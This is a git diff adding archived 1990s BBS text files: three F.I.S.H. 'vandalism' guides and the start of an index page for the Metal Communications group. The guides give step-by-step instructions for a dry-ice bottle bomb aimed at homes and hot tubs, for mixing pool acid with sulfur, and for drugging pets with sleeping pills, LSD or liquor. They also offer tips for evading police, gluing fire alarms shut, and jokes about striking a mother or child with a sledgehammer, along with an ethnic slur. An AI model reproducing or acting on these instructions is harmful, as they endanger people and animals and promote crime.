/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + | Phor more phun phor all occasions, call: | + | | + | The Sect DeBBie'S CLoSeT | + | FISH World Headquarters I FISH World Headquarters ][ | + | 801/ifo-rgot 801/dog-face | + | Sysop: Punk Rock Girl Sysop: THe iNFiDeL | + | v.34/1250m/programming/arcane v.34/1200m/programming/arcane | + \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ diff --git a/textfiles.com/groups/FISH/vandal1.txt b/textfiles.com/groups/FISH/vandal1.txt new file mode 100644 index 00000000..92117ee6 --- /dev/null +++ b/textfiles.com/groups/FISH/vandal1.txt @@ -0,0 +1,278 @@ + + ANOTHER F.I.S.H. F.I.L.E.  + " KILL ME, I'M ON FIRE"  + + +VANDALISM VOLUME 1 "THE GUY NEXT DOOR" +BY PUNK ROCK GIRL + +IS THERE THAT ONE ANNOYING PERSON THAT YOU HATE A LOT AND YOU +WANT TO KILL? ARE TOO MUCH OF A HUMAN BEING TO KILL THEM? + !GET EVEN! + +1) LET US DISCUSS THE FUN OF DOOR BELL DITCHING (DBD). DBD IS NOT +JUST A STUPID CHILDISH GAME. IT IS A TOOL OF VENGEANCE ON A +PERSON WHO NEEDS TO BE TAUGHT A LESSON. THERE IS THE COMMON " +RING AND RUN " THAT CAN BE USED AT 3:00 IN THE MORNING AND THEN +THERE IS THE CREATIVE STUFF! +A) STEAL OR SOMEHOW PROCURE A LARGE TRASH CAN. ARE THOSE CITY +ISSUE BIG GREEN ONES 50 GALLONS? THOSE WORK ESPECIALLY WELL. +B) FILL IT A LITTLE MORE THAN HALF FULL WITH WATER +C) PUT LOTS OF NASTY THINGS IN IT THAT FLOAT. ROAD KILL IS MY +FAVORITE. HOW ABOUT BULL $#!Å ? YOU CAN BUY THIS AT ANY STORE. +THEY CALL IT FERTILIZER BUT WE KNOW BETTER! POUR IN A BIG BAG OF +THAT STUFF AND STIR IT UP. YUMMY!! +D) I LIKE TO LEAVE A FUN MESSAGE IN THE CAN JUST TO SAY I LOVE +YOU. MAKE SURE IT IS NOTHING INCRIMINATING! +E) WHEEL THAT BIG OL' TRASH CAN O' FUN RIGHT UP TO THE DOOR OF +THE TARGET HOUSE AND TIP IT AGAINST THE DOOR SO THAT IT IS +LEANING IN ON THE DOOR. +F) RING +G) RUN +THE TRASH CAN WILL TIP INWARD WHEN THEY OPEN THE DOOR AND SPILL +ALL OVER THEIR IMMACULATE HOME. OF COURSE YOU MADE SURE THE DOOR +OPENED INWARD FIRST. HA HA HA HA! +A GOOD VANDAL KNOWS HOW TO PLAY IT SAFE! HERE ARE A FEW RULES TO +FOLLOW: +1. NEVER! EVER! RETURN TO THE SCENE OF A CRIME! NO MATTER HOW +MUCH YOU WANT TO SEE THE LOOK ON HIS FACE OR HOW MUCH YOU WANT TO +LAUGH AT HIM DON'T LOOK BACK OR RETURN! ODDS ARE, THE POLICE WILL +BE WAITING FOR YOU! +2. ALWAYS WEAR GLOVES AND DON'T BLEED ON ANYTHING! BLOOD IS AN +EXTREMELY TRACEABLE PART OF YOU. +3. TIME YOURSELF RIGHT. DOING A TRASH CAN DBD IN BROAD DAYLIGHT +IS STUPID! THEN AGAIN DOING IN THE MIDDLE OF THE NIGHT IS TOO +SINCE THE PERSON WON'T EVEN OPEN THE DOOR, HE'LL BE IN BED. +4. PLAN AN ESCAPE ROUTE AHEAD OF TIME AND PRACTICE IT. MANY HAVE +BEEN THE TIMES I WAS CAUGHT IN THE MIDDLE OF THE NIGHT WITH HALF +THE NEIGHBORHOOD CHASING ME AND I DIDN'T HAVE ANY IDEA WHERE TO +GO! OBVIOUSLY I MANAGED TO ESCAPE BUT THE RISKS ARE TO GREAT TO +" JUST RUN AS FAST AS YOU CAN " +5. DON'T BE OBVIOUS. THOSE DICKHEADS YOU SEE SAYING " YEAH I +BROKE ALL THEIR WINDOWS AND ALL THEN I HIT THE GUY THAT ANSWERED +THE DOOR RIGHT IN THE FACE " NEVER DID ANY OF THE CRAP. IF HE DID +HE WOULD BE TELLING IT TO HIS BUDDIES IN JAIL. AFTER VANDALISM, +ESCAPE AND THEN DON'T GO HOME! GO TO A MOVIE OR SOMETHING. MOVIES +MAKE GREAT ALIBIES SINCE NOBODY CAN SEE YOU ANYWAY, ITS TOO DARK +IN THOSE THEATERS! JUST TELL MOM AND DAD YOU SAW "FIVEL SCREWS +THE POOCH" AND THEN CAME STRAIGHT HOME! +6. SHUT UP! DON'T TALK ABOUT WHAT YOU DID. PEOPLE TALK AND THINGS +GET AROUND. TRUST ME I'VE BEEN BACKSTABBED ONCE TOO MANY. +7. GET AN ALIBI! I ALREADY TALKED ABOUT THAT. +8. DON'T UNDER ESTIMATE THE POLICE. IN SMALL TOWNS ANYTHING IS +POSSIBLE. IN HUGE CITIES ANYTHING IS POSSIBLE. THE POLICE MAY BE +A BUNCH OF COCKS BUT THEY KNOW WHAT THEY ARE DOING AND THEY WOULD +LIKE NOTHING BETTER THAN TO SEE A YOUNG ANARCHIST GO TO JAIL. +9. NEVER DRIVE! CARS ARE THE SINGLE EASIEST WAY TO TRACE A VANDAL +ON THE FACE OF THE EARTH. THAT'S WHAT LICENSE PLATES WERE +INVENTED FOR. IF YOU'RE GONNA DO SOMETHING EVIL: WALK!!! +10. DON'T USE SOMETHING PEOPLE WILL MISS. IF ITS NOT YOUR TRASH +CAN WHO CARES! BUT IF ITS YOUR DADS DON'T YOU THINK HE WILL MISS +IT? DON'T UNDERESTIMATE PARENTS! THEY ARE 100% EVIL. + +WELL NOW THAT THE RULES TO STAYING ALIVE ARE DOWN LETS DISCUSS +ANOTHER FACET TO VANDALISM. TOILET PAPERING IS AN INCREDIBLY +CHEAP WAY TO DRIVE SOMEBODY INSANE. AN ADDED BONUS IS THE FACT +THAT THE POLICE COULD CARE LESS ABOUT TOILET PAPERING! +TOILET PAPERING IS AN ART FORM. YOU DON'T JUST CHUCK TOILET PAPER +ALL OVER THE PLACE. YOU TAKE THE TIME TO DO IT RIGHT: + +A) WEAR BLACK CLOTHING +B) MAKE SURE EVERYBODY IS SLEEPING OR AWAY FOR A LONG TIME +C) TAKE AS MUCH TOILET PAPER AS YOU CAN WITHOUT LOOKING +CONSPICUOUS. I LIKE TO CARRY IT IN A TRASH BAG. +D) TAKE AT LEAST FIFTY ROLLS OR DON'T BOTHER AT ALL. SAVING UP +AND LOOKING FOR SALES AT RALEYS USUALLY SPEEDS ME ALONG. +E) BE SILENT. DO I REALLY HAVE TO SAY THIS? +F) DOGS? NO PROBLEM! GET 4 NYTOL ( THIS NUMBER SHOULD BE ADJUSTED +ACCORDING TO SIZE OF DOG.) STICK THEM INTO A BIG YUMMY HUNK O' +MEAT AND GIVE TO OLD FIDO. GIVE HIM 30 MINUTES AND HE'LL BE OUT +LIKE A LIGHT. +G) USE ONE ROLL ON EVERY TREE THEY HAVE. START FAR AWAY AND +SLOWLY WORK TOWARDS THE HOUSE. MUMMIFY EACH TREE WELL. IF YOU ARE +HAVING TROUBLE GETTING IT TO STICK JUST USE SYRUP. ITS GROSS +BROWN STICKY AND ATTRACTS MAJOR ANTS AND OTHER ANNOYING INSECTS. +POUR SYRUP ALL OVER THE TREE THEN TOILET PAPER IT. +F) IF YOU USE SYRUP WASH YOUR HANDS IN THEIR POOL OR SOMETHING OR +YOU WILL STICK TO YOUR NEXT ROLL AND GET ALL MESSY. +G) STUFF PAPER INTO EVERY HOLE YOU CAN FIND. I MAKE IT A POINT +NOT TO STUFF IT INTO DRYER VENTS CAUSE IT COULD CAUSE THE HOUSE +TO BURN DOWN, UNLESS YOU WANT THIS. I FIND THAT THOSE BIG POPUP +SPRINKLERS DON'T FUNCTION WELL THE NEXT DAY WHEN HALF A ROLL OF +TOILET PAPER HAS BEEN SHOVED INTO THEM AND THEN PACKED DOWN. +H) THE VERY LAST THING YOU WANT TO DO IS 1 TOILET PAPER THE HOUSE +OR 2 THROW PAPER IN THE TREES. OPTION 1 IS GOOD BECAUSE IT SHOWS +THAT YOU ARE BRAVE AND IT MAKES THEM FELL STUPID THINK THAT THEY +SLEPT WHILE YOU WERE ALL OVER THEIR HOUSE. UNFORTUNATELY BEING +THIS CLOSE TO A HOUSE CAN CAUSE THEM TO WAKE UP. YOU MAY DECIDE +TO THROUGH TOILET PAPER INTO THE TREES. THIS IS GOOD BECAUSE IT +IS RELLY HARD TO GET OUT. IT ALSO MAKES TONS OF NOISE SO YOU +WOULD WANT TO DO IT LAST. IT IS REALLY UNWISE TO DO 2&1 SINCE THE +PERSON COULD BE AWAKENED BY YOUR NOISE. THEN YOU WALK UP TO THE +FRONT DOOR TO TOILET PAPER SOME MORE AND THEY HAVE YOU! +IF YOU MUST, DO THE FRONT DOOR FIRST AND THEN GO FOR THE TREE +TOPS. +I) ESCAPE +YOU SHOULD HAVE YOUR PLAN WORKED OUT IN ADVANCE TO PREVENT +ANYTHING FROM GOING WRONG. + +IM GOING TO EAT DINNER NOW BUT THIS F.I.L.E. WILL CONTINUE IN A +MOMENT! + +THERE, IM BACK. BOY THAT WAS SICKENING! DID YOU EVER THINK ABOUT +FOOD AS A VANDALISM TOOL? +A) GO INTO THE KITCHEN WHEN MOM ISN'T HOME +B) GRAB ALL THE OLD MOLDY BREAD HIDDEN WAY IN THE BACK, GRAB +EVERYTHING NOBODY USES AND TAKE IT +C) BE CAREFUL NOT TO TAKE TOO MUCH CAUSE IT IS NOTICEABLE WHEN +HALF THE PANTRY IS GONE. GET LOTS OF GARLIC +D) GET A BIG 10 GALLON BUCKET ( OR IS IT FIVE? I CANT REMEMBER! ) +E) POUR IT ALL IN AND STIR WELL +F) PISS IN IT. YES PISS IN IT THE URIC ACID HELPS TO ROT IT +FASTER ESPECIALLY IF YOU ADDED EGGS +G) SCOOP SOME INTO A COFFEE CAN AND PUT IT ON THE STOVE. I USE A +PORTABLE HEATING ELEMENT CAUSE WHEN IT COOKS, THIS STUFF IS BAD! +H) PUT A LID ON IT AND CARRY OVER TO MR. PERSONS HOUSE +I) YOU ARE FACED WITH A CHOICE: +-DUMP IT ON HIS BIG FAT FRONT PORCH AND GIVE HIM A RING ( OR JUST +LET IT SIT AND ROT) +-HIDE IT SOMEPLACE WHERE IT WILL ROT REALLY BAD LIKE IN THE +CORNER OF THE GARAGE +-POUR IT ON THE BIG MACHINE THAT SUCKS AIR IN FROM THE OUTSIDE TO +COOL THE HOUSE. ITS THE BIG THING OUTSIDE WITH THE FAN IN IT. +JUST DUMP IT IN ! WHEN THE FAN IS OFF ! ( OR MAYBE NOT AS IT +WOULD BE FUN TO SEE THE SHIT SPLATTER WHEN IT HITS THE FAN ) HA! + +NEVER UNDERESTIMATE THE POWER OF POOL ACID! JUST GO TO YOUR LOCAL +POOL SUPPLY STORE AND BUY A BIG JUG OF MURIATIC ACID. THIS IS +JUST THE FANCY WAY OF SAYING HYDROCLORIC ACID WATERED DOWN! JUST +TELL THE IDOIT WHO SELLS IT TO YOU THAT YOUR DAD NEEDS IT FOR THE +POOL BECAUSE YOURE HAVING AN ALGEA ATTACK OR SOMETHING. BE +CAREFUL THIS STUFF CAN EAT YOUR LITTLE FLESH OFF BEFORE YOU CAN +SAY " OH MY, MY FLESH IS BEING EATEN OFF." +TAKE YOUR NEW PRIZE HOME AND POUR SOMETHING FUN INTO IT LIKE A +BIG BOTTLE OF SULFER. YOU CAN BUY SULFER AT YOUR LOCAL GARDENING +STORE. IT HAS MANY FANCY NAMES BUT JUST LOOK FOR SOMETHING THAT +KILLS FUNGUS AND READ THE INGREDIENTS. IT WILL USUALLY SAY +SOMETHING STUPID LIKE +CONTAINS:SULFUR 99% + INERT INGREDIENTS 1% +GET THIS STUFF ITS GOOD. IF IT HAS ANYTHING ELSE IN IT IT'S OK, +JUST MAKE SURE ITS AT LEAST 89% SULFUR. BY THE WAY HOW DO YOU +SPELL SULFER? DAMN I HATE THAT WORD! +I HAVENT ACTUALLY TRIED THIS BUT YOU NEVER KNOW WHAT WILL HAPPEN. +OH BY THE WAY, DON'T BREATH THE WHITE FUMES THAT COME OUT WHEN +YOU OPEN THE JUG! ITS ACID VAPOR AND IT BURNS YOU LUNGS AND YOUR +EYES AND NOSE AND EVRYTHING ELSE. THIS STUFF EATS THROUGH +EVERYTHING SO JUST DUMP IT ON SOMETHING AND SIZZLE AWAY! + +LETS LOOK AT DRY ICE: + +DRY ICE IS USUALLY ABOUT $1 OR $2 A POUND, IS USUALLY SOLD IN 5 +POUND BLOCKS AND IT EASY TO GET. EVERY FISHING STORE HAS IT AND +SAFEWAY OR ONE OF THOSE BIG RALEYS TYPE STORES SHOULD HAVE IT +TOO. UNFORTUNATLY DUE TO MISUSE ( HE HE HE) MOST PLACES WANT YOU +TO BE 18 TO BUY IT. JUST LIE TO YOUR MOM OR DAD AND GET THEM TO +BUY YOU SOME. I GET MINE FROM THOSE IDIOTS THAT DON'T KNOW ITS +AGAINST THE LAW TO SELL IT TOO ME AND THE PROBLY DON'T CARE SINCE +THEY DON'T SPEAK ENGLISH ( ARABS ). +JUST GET A POUND OF THIS AND KEEP IT IN THE FREEZER 'TILL YOU +NEED IT. + + DRY ICE BOMB  +MATERIALS: +-PLASTIC 2 LITER SODA BOTTLE ( GLASS SODA BOTTLE IF YOU ARE +INSANE ) +- BOTTLE OR TWO OF RED CLOTHING DYE +- A POUND OF DRY ICE +-A BOTTLE OF WARM WATER + +1. BASH THE HELL OUT OF THE DRY ICE UNTIL YOU GET CHUNKS THAT FIT +INTO THE BOTTLE. DON'T MAKE THEM REALLY SMALL. DONT PUT THE ICE +INTO THE BOTTLE YET. +2. PUT THE DRY ICE INTO A BROWN PAPER BAG AND WRAP IT IN +NEWSPAPERS REALLY WELL. +3. PUT ALL OF YOUR MATERIALS INTO A BAG AND CARRY IT TO THE +VICTIMS HOUSE. +6. GO UP TO THE FRONT DOOR +5. TAKE OUT YOUR DRY ICE HUNKS AND CRAM THEM INTO YOUR BOTTLE. +6. POUR THE DYE INTO THE BOTTLE. +7. POUR WATER INTO THE BOTTLE ABOUT 1/3 OF THE WAY FULL AND CRAM +ON THE LID AS FAST AS YOU CAN. THE BOMB CAN GO OFF AT ANYTIME AND +KILL YOU. IF YOU USED GLASS YOU WILL PROBLY DIE. IF YOU USED +PLASTIC IT TAKES ABOUT A MINUTE TO GO OFF BUT NEVER EVER GO NEAR +IT! UNTIL IT GOES OFF! IT WILL, IT JUST TAKES TIME! +8. I FIND THAT IF I SHOOT IT WITH A BB GUN IF IT DOESN'T GO OFF +IN FIVE MINUTES IT EXPLODES WELL. +9. THE BLAST WILL BE QUITE HUGE AND IT WILL SPLATTER RED DYE ALL +OVER THE HOUSE. IT WILL ALSO BE INCREDIBLY NOISY LIKE A GUN SHOT +SO RUN. +IF THEY HAVE A POOL OR BETTER YET A HOTTUB THEN PERFORM STEPS 1-6 +IN A BOTTLE. JUST DROP THE BOTTLE INTO THE WATER AND JAM! THE +WATER ON THE OUTSIDE WILL MAKE IT GO OFF DEFINATELY! NO BB GUN +NEEDED! JUST RUN. IF YOU DROP IT INTO A HOTTUB YOU HAVE ABOUT 20 +SECONDS TO GET THE HELL OUT BEFORE YOUR DEAD. THE HOT WATER MELTS +THE ICE SO FAST IT BLOWS UP THE BOTTLE IN NO TIME AT ALL. IF YOU +USE GLASS THEN MAXIMUM DAMAGE IS GUARANTEED! +IM GOING TO BED NOW. IM TIRED. +WELL ITS A NEW DAY! I'LL CONTINUE NOW..... + +DO YOUR NEIGHBOORS HAVE PETS? ARE YOU TOO HUMANE TO JUST GRAB +THEM AND SNAP THEIR NECKS LIKE TWIGS? WELL THEN THE FOLLOWING IS +FOR YOU! +1. KIDNAP FLUFFY ( THAT'S THE CAT) + +2. PUT FLUFFY IN A LARGE BAG AND SWING IT AROUND 50 TIMES +3. OPEN THE BAG AND LET OUT THE CAT +4. THE ANIMAL IS USUALLY SO DIZZY IT JUST FALLS OVER. THIS IS +GOOD FOR A LAUGH +*OR* +2. (THIS WORKS FOR FIDO, THE DOG, AS WELL) GET AN ACE BANDAGE +3. HOLD THE ANIMAL IN PLACE AND PROCEDE TO MUMMIFY ITS ENTIRE +HEAD LEVING ONLY A SMALL HOLE AROUND THE NOSE FOR BREATHING +4. MOST ANIMALS JUST SIT THERE WHEN YOU DO THIS +5. PUT THE ANIMAL ON THE FRONT DOOR AND RING +*OR* +2. GET A ROLL OF GOOD TAPE. I LIKE THE CLEAR STUFF THAT IS REALLY +STRONG +3. PUT TAPE ALL OVER THE ANIMAL +4. LET IT GO NEAR THE NEIGHBORS HOUSE +*OR* +2. DID YOU KNOW THAT IT IS IMPOSSIBLE TO OVERDOSE ON LSD? +IT MAY MAKE YOU INTO A PSYCHOTIC BUT YOU WILL NOT DIE! OBTAIN A +HIT OR 2 FROM YOUR LOCAL PUNK. GO FOR THE ONES THAT ARE YOUNG OR +THE SKINHEADS IT IS ABOUT 3 BUCKS A HIT. DONT TOUCH THE ACID WITH +YOUR SKIN OR YOU WILL ABSORB IT AND FRY PREMATURELY ON YOUR WAY +HOME +3. NOW CAPTURE MISTER KITTY OR MR. DOGGY AND OPEN THEIR MOUTHS +AND SHOVE IT IN +4. YOU COULD ALWAYS TRY STICKING IT IN TUNA AND LETTING THEM EAT +IT. AS LONG AS IT TOUCHES A PART OF THE SKIN AND IT IS WET +5. RETURN THE ANIMAL QUICKLY BEFORE THE DRUG ACTS AND WATCH +LITTLE JIMMY FEED THE DOG AT HIS PRE-APPOINTED TIME. ONLY THIS +TIME, UH-OH, FIDO HAS GONE TOTALLY SHIZO AND HALLUCINATES THAT +BILLY IS A CAT. FIDO THEN EATS BILLY +THIS IS ONLY THE BEST POSSIBLE SCENARIO OF COURSE. YOU MAY JUST +HAVE A GOOD TIME WATCHING THE ANIMAL FRY! +*OR* +2. SOMEHOW GET SOME REALLY STRONG LIQUOR. BEER DOES NOT WORK! +3. SOKE A PIECE OF MEAT ( TUNA IS UNIVERSALLY LOVED BY ALL TYPES +OF PETS) IN THE DRINK YOU PREVIOUSLY OBTAINED +4. FEED IT TO SNOOKUMS AND WATCH HIM GET SHITFACED +5. LAUGH A LOT +THERE ARE WAY TOO MANY THINGS TO DO TO AN AMINAL TO GO INTO THEM +RIGHT NOW. THIS IS JUST A FEW THINGS THAT ONE MIGHT POSSIBLY DO +TO AN ANIMAL TO AVOID PERMANENT INJURY ( EXEPT FOR THE LSD THING) +OR ACTUALLY KILLING THE STUPID THING. + + +THIS CONCLUDES THE F.I.L.E. +AS ALWAYS YOU CAN LEAVE MAIL TO THE F.I.S.H.: +PUNK ROCK GIRL (ME) +EZRA +LSD +THE POTATOE LADY +IF YOU HAVE ANY QUESTIONS PLEASE DO SO. BUY! YES I MEANT TO SPELL +IT THAT WAY SHUT UP! +STAY TUNED FOR TUNED FOR VOLUME 2 " FUN WITH A SLEDGE HAMMER" + diff --git a/textfiles.com/groups/FISH/vandal2.txt b/textfiles.com/groups/FISH/vandal2.txt new file mode 100644 index 00000000..c89d6d4b --- /dev/null +++ b/textfiles.com/groups/FISH/vandal2.txt @@ -0,0 +1,97 @@ + +  + YES SIR! ITS ANOTHER F.I.S.H. F.I.L.E.!!  +  + + +BY: EZRA GURUFACE & + PUNK ROCK GIRL +DISCLAIMER: THIS FILE IS NOT TO BE TAKEN LITERALLY! DO NOT +ACTUALLY DO THESE THINGS. IF YOU DO YOU ARE JUST A BIG DUMMY +HEAD. WE TAKE NO RESPONSIBILITY FOR YOU. + +HEY CAMPERS! IT'S TIME FOR NUMBER TWO OF THE VANDAL SERIES. (I'LL +BET YOU DIDN'T THINK I WOULD DO IT! WELL YOUR'E WRONG SO HA!) + + FUN WITH A SLEDGE HAMMER  + _________________ + | | + | LOVE ME | + |_______ _______| + | | + | | + | | + | | + | | + | | + | | + | | + | | + | | + |___| + + FOR THOSE OF YOU THAT DON'T KNOW A SLEDGE HAMMER IS THE WORKERS +BEST FRIEND. IT IS HEAVY AND BIG AND IT SAYS " RUN OR I'LL CRUSH +YOU! " (I JUST LOVE EXCLAMATION POINTS! ) + THE SLEDGE HAMMER HAS BEEN USED FOR MANY THINGS BUT THE POINT IS +ITS A BIG HEAVY WEIGHT AT THE END OF A STICK. IT HAS MONDO +LEVERAGE AND OBTAINS MAXIMUM VELOCITY ON ITS WAY INTO, OH.... +SAY, A FACE. THESE PUPPIES HAVE MAXIMUM TRASHABILITY BUT SOME +JELL-O HEADS DON'T KNOW HOW TO EMPLOY IT CORRECTLY. THESE EASY +TO FOLLOW ( YEAH RIGHT) INSTRUCTIONS SHOULD HELP YOU ALONG +NICELY. THERE IS NOTHING LIKE THE FEELING OF SOMETHING BREAKING +UNDER THE FORCE OF A BIG METAL SQUARE THING ON THE END OF A BIG +STICK. + +1) IS THERE A ROAD BY YOUR HOUSE THAT HAS TONS OF POT HOLES? NO? +MAKE ONE! NO MAKE TWO! WELL MAKE....FIVE OR TEN! +2) HAVE YOU SEEN THOSE HOUSING DEVELOPMENT PROJECTS GOING UP +LATELY? THEY ARE ANNOYING AND THOSE LOUD FAT MEN WAKE ME UP AT +ALL HOURS WITH THERE DURN HAMMERIN'. I LIKE TO JUST GET ME A BIG +SLEDGE HAMMER AND SAUNTER ON OVER THAR IN THE DEAD O' THE NIGHT +AND JUST VENT MY HATRED ON THERE PRISTEEN SHEET ROCK WALLS. YUM. +3) THE NEIGHBOR HOOD KIDS HAVE A THING WITH BUILDING DAMS ON ANY +SMALL MOVING BODY OF WATER THEY CAN SEE. I LIKE TO MOSEY ON OVER +THERE AND COMMENT ON THEIR WORK BEFORE I PULP THEIR PETTY DAM +INTO GRAVEL AND LET THEM CRY AT ME. I LOVE IT! +4) LOCKPICK= SLEDGEHAMMER. MASTER LOCKS DON'T LAST LONG AGAINST +THE FULL FURY OF A HAMMER IN MOTION. +5) DOES YOUR FFRIEND NEED A WINDOW IN HIS ROOM. GIVE HIM ONE! +FREE OF CHARGE. +6) I LIKE TO GET SOMETHING GLASS LIKE A TELEVISION AND GET ANGRY +WITH IT. TRY PHONES, OR ANY OTHER APPLIANCE. +7) I REALLY HATE ONE OF MY TEACHERS.... SHE HAS SO MANY +COMPUTERS.... WOULDN'T IT BE SAD IF SHE ARRIVED TO A BUNCH OF +SMOKING PARTS ON A TBLE ONE DAY? +8) CD'S ARE FUN. THEY KIND OF EXPLODE IF YOU DO IT RIGHT. +PRACTICE MAKES PERFICT. +9) DOES YOUR CITY HAVE A PARK? DOES THE PARK HAVE A FOUNTAIN? +KNOCK A LARGE HOLE IN THE EDGE AND WATCH THE WATER GO BYE BYE. +10) OOF! +11) NAIL YOU MOM IN THE HEAD WHEN SHE IS ON THE PHONE AND SHE +WON'T LISTEN TO YOU. +12) MEOW! MEOW! MEOW! MEOW! SMACK! GURGLE.... +13) YOU KNOW, FOOD REALLY DOES EXPLODE ALL OVER. +14) DISMANTLE A PLAYGROUND. +15) DISMANTLE A CHILD AT THE PLAYGROUND. +16) NEW CONCRETE? NOT ANY MORE! +17) JUST CARRY IT AROUND AT SCHOOL... TO THE MALL.... PEOPLE SEEM +TO GIVE YOU MORE ROOM, OR IS IT JUST ME? +18) IS THE DOOR LOCKED FROM THE INSIDE? TOO BAD.... FOR THE DOOR! +19) ITS REALLY FUN TO BUY A COKE AND JUST SMAH IT FLAT. SHAKE IT +UP FIRST! +20) ARE YOUR NEIGHBORS YUPPIES? DO THEY HAVE A PLAYHOUSE FOR +THEIR KIDS BIGGER THEN YOUR ROOM? KILL IT. + + HERE ARE ONLY A MERE SAMPLE OF THE HELPFUL USES OF THE SLEDGE +HAMMER IN SOCIETY. BE CREATIVE AND MOST OF ALL REMEMBER THE +F.I.S.H. MOTTO: " BLOOP " (JUST KIDDING) " ALWAYS HAVE FUN! JUST +DON'T GET CAUGHT...." + AS ALWAYS YOU CAN MAIL THE F.I.S.H. : +EZRA +PUNK ROCK GIRL +THE INFIDEL +THE POTATOE LADY SNORTS JELL-O ( THIS MEANS HE IS TEMPORARILY OUT +OF ORDER ) +BUH... + diff --git a/textfiles.com/groups/FISH/vandal3.txt b/textfiles.com/groups/FISH/vandal3.txt new file mode 100644 index 00000000..316b83fa --- /dev/null +++ b/textfiles.com/groups/FISH/vandal3.txt @@ -0,0 +1,115 @@ +disclaimer: dont do this. its not meant to be done so just dont +im not responsible if you do + + + +  +  Its Another F.I.S.H.  +  File!  +  By Punk Rock Girl  +  &  +  The Potatoe Lady  +  + + + VANDAL series VOLUME 3! + + + + + The Wonderful World Of Glue + + + There are probably other files out there on glue but i have not +seen one yet. I amnow gonna give you a few ideas on the IM-proper +use of glue for the purpose of shear joy. + For all of these wonderous little tidbits you will need: + 1 or 2 tubes of really good glue + +I like to use that JB Weld stuff. It is really good and dries in +10 minutes. It has the hardness of steel and can only be removed +with one thing, SAND PAPER! + +Of course this special creation of an overindustrial society is +expensive, so for the more cost efficient anarchist i would +recomend apoxy. Radio Shack ( the ignorat supplier of the worlds +demise ) has really good apoxy that comes in a syringe all ready +to go! + +now for the good part.... + +Things to do with your friend, glue: + +1. put it in the locks at your skool +2. put it in your mothers hair while she sleeps +3. in the skool bus door locks +4. on the hinges of all doors you can find +5. on the pull down fire alarms +6. glue pay phone receivers down +7. glue atomatic sliding doors ( like on a grocery store ) closed +8. make a steering wheel never turn again +9. in wall sockets +10 in fone outlets +11 in computer disk drives +12 put it into a tv, they have slots in the back to let heat off +13 glue printer head into place +14 glue money to the ground +15 glue trash to the ground in the mall +16 glue rude fliers to the wall in the bathroom + I mean wall paper those suckers up all over! +17 inject glue into the lab animals at skool +19 inject it into plastic soda bottles in the top where they wont + notice a small leak +20 glue the mouse buttons down +21 glue video game buttons down +22 fill coin slots +23 put super glue on the joystick of the most popular game +24 glue joysticks down +25 a coke can the floor near a coke machine +26 glue doors OPEN +27 glue somebodys clothes together +28 glue sombodys ass to their chair +29 stick broken glass on some ones driveway +30 glue vcr tapes permantly in the vcr +31 go to a video rental store and glue the cases closed +32 put glue on camera lenses ( opaque glue ) +33 glue books closed for good +34 glue large stacks of books together +35 write a lewd message on a wall with JB Weld +36 is your dad a fucking asshole? glue his mouth closed +37 glue speakers down so they dont vibrate anymore ( great for + mini trucks ) +38 glue various contraceptive devices to the walls of an + elementary skool ( the kids go insane at the sight of it) +39 glue lightbulbs into the sockets ( that'll be a tuffy to + change ) +40 COAT the teachers favorite coffee mug with glue +41 glues chairs to the floor +42 things to the shelves at grocery stores +43 glue the gas pump handles down so when they pre-pay it turns + on all over them +44 glue windows shut +45 glue everything in your favorite teachers desk, to the desk +46 does your skool have a computer lab? glue the enter key down. + this works in typing class too +47 pull the fire alarm, glue it down +48 put glue ALL over a video tape box, now drop it in the night drop slot +49 glue down certain buttons on the phone +50 glue their wallet shut +51 glue backpacks closed +52 glue light switches on, or off + + + +These are just a few ideas.. There are many more ways to use glue +so have phun. + +***************************************************************** +Call The Village BBS for hot sex and ALL the F.I.S.H. files as + soon as they are made! + (916) 244-3569 + try out our anarchy files section and our great viruses! + + + Punk Rock Girl =:( + diff --git a/textfiles.com/groups/METALCOMMUNICATIONS.1 b/textfiles.com/groups/METALCOMMUNICATIONS.1 new file mode 100644 index 00000000..4f2beb30 --- /dev/null +++ b/textfiles.com/groups/METALCOMMUNICATIONS.1 @@ -0,0 +1,112 @@ + +T E X T F I L E S + +

Groups: Neon Knights / Metal Communications

+

+Based around New Jersey but quickly spreading nationwide, Metal Communications +was one of the odder blends of Textfile Writing Geeks and Metalheads. Heavy +Metal music comprises a major theme in the textfiles, as well as a very strong +bent of generally messing up the planet with a crowbar, one mailbox at a time. +Metal Communications lasted about three years, from 1983 to 1986. +

+The influence of Metal Communications (both the strong influx of anarchy +files and a general satanic bent) is evident in a lot of freelance anarchy +files and the work of such groups as the Cult of the Dead Cow, who had members +in Metal Communications before cDc really became a strong voice of its own. +

+A smaller group of members of Metal Communications started calling themselves +The Neon Knights, which included the leaders of Metal Communications and a +few chosen minions. Their files tended to be of a higher quality than the +rest, or at least longer. Generally, the Neon Knights also ran the Metal +Communications distribution BBSs and AE lines. +

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+
Filename
Size
Description of the Textfile
1stsermo.hum 2134
The First Sermon, by the Macster +
achohol.txt 4030
Alcohol Manufacture by the Shadow Lord of Metal Communications +
anarcman.met 11426
The Anarchy Manual, Volume 1, by Black Hand Society +
asshole1.txt 3633
What Assholes Do, by the Blade of the Neon Knights/Metal Communications +
asshole2.txt 10086
What Assholes Do ][, by The Blade and the Metallian of Neon Knights/Metal Communications +
asshole3.txt 6562
What Assholes Do III: AE Assholes, by The Master of Reality and Zandar Zan of Neon Knights/Metal Communications +
assholes 9349
What Assholes Do II by The Metallian of Metal Communications +
autoweap 7963
Full-Auto: an Introduction by the Angel of Destiny by Metal Communications +
autoweap.ana 7543
Full Auto: An Introduction by the Angel of Destiny +
barbs.fun 5058
Barbituates from the Book The Anarchist Cookbook, typed by Zandar Zan of Neon Knights/Metal Communications +
beer.txt 4023
Alcohol Manufacture by The Shadow Lord of Metal Communications +
belhel1.txt 10168
Bell Hell Volume #1 by the Dutchman of Neon Knights/Metal Communications +
belhel2.txt 13662
Bell Hell Volume #2, by The Dutchman of Metal Communications +
carding.hum 4669
The Basics of Carding, by The Metallian +
carding2.txt 12505
Carding Volume II by The Metallian of Metal Communications +
carding3.txt 7818
Carding III, Higher Learning by The Metallian of Metal Communications Inc./ Neon Knights +
carpare.ana 5887
How to Card Shit When You Still Live With Your Parents +
chrisfun.ana 1982
Christmas Fun with The Outland +
co2.txt 2250
The CO2 Canister Bomb by The Shadow Lord of Neon Knights/Metal Communications +
country.ana 6534
This country sucks, because... by The Outland +
deadfuck.txt 3759
